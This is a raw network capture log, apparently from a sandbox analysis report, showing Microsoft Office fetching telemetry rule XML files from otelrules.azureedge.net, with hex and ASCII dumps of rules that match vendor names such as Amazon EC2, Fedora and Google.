2024-11-21 02:08:42 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:42 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:42 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:42 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 792329fd-401e-0035-1f6c-3b82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020842Z-178bfbc474b9xljthC1NYCtw9400000000q000000000sggu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:42 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:42 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:42 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: f8feafe0-e01e-0020-2afa-3ade90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020842Z-r1d97b99577hc74hhC1TEBvbns00000009g000000000n63q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:42 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:42 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:43 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:42 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020842Z-178bfbc474bnwsh4hC1NYC2ubs00000000y0000000009y91 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:43 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:44 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:44 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 00deeadb-901e-007b-4a91-3bac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020844Z-r1d97b995774n5h6hC1TEBvf8400000009kg00000000pudh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:44 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:44 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:45 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:44 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 008bef3b-f01e-001f-677c-3b5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020844Z-1777c6cb754xrr98hC1TEB3kag0000000a9g00000000b9x7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:45 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:44 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:45 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:44 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7511d71d-801e-0083-6e8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020844Z-1777c6cb754xrr98hC1TEB3kag0000000a6g00000000qmzg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:45 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:44 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:45 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:44 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5b8d3f05-a01e-006f-2465-3b13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020844Z-178bfbc474bw8bwphC1NYC38b400000000p000000000fecm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:45 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:44 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:45 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:45 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: c4abe473-d01e-008e-4d67-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020845Z-178bfbc474bp8mkvhC1NYCzqnn00000000n000000000qvg9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:45 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:46 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:47 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:47 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020847Z-178bfbc474b9xljthC1NYCtw9400000000mg00000001487a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:47 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:47 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:47 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:47 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 24f33e75-301e-006e-0fb5-3bf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020847Z-1777c6cb754xlpjshC1TEBv8cc0000000ap0000000003ryz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:47 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:47 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:47 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:47 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020847Z-1777c6cb7544nvmshC1TEBf7qc0000000ab0000000002qeq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:47 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:47 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
